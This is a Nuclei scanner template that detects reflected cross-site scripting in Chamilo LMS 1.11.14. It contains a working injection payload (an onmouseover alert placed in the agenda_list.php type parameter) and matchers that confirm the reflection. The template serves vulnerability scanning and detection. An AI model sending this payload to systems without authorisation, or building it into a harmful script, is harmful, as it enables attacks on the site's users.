nuclei-templates/vulnerabilities/other/chamilo-lms-xss.yaml

37 lines
1.0 KiB
YAML

id: chamilo-lms-xss
info:
name: Chamilo LMS 1.11.14 Cross-Site Scripting
author: geeknik
severity: high
description: Chamilo LMS 1.11.14 is vulnerable to cross-site scripting.
reference:
- https://www.netsparker.com/web-applications-advisories/ns-21-001-cross-site-scripting-in-chamilo-lms/
- https://support.chamilo.org/projects/chamilo-18/wiki/Security_issues#Issue-45-2021-01-21-Moderate-impact-moderate-risk-XSS-vulnerability-in-agenda
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
tags: xss,chamilo
requests:
- method: GET
path:
- '{{BaseURL}}/main/calendar/agenda_list.php?type=xss"+onmouseover=alert(document.domain)+"'
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'agenda_js.php?type=xss" onmouseover=alert(document.domain)'
- type: status
status:
- 200
- type: word
part: header
words:
- "text/html"
# Enhanced by mp on 2022/04/08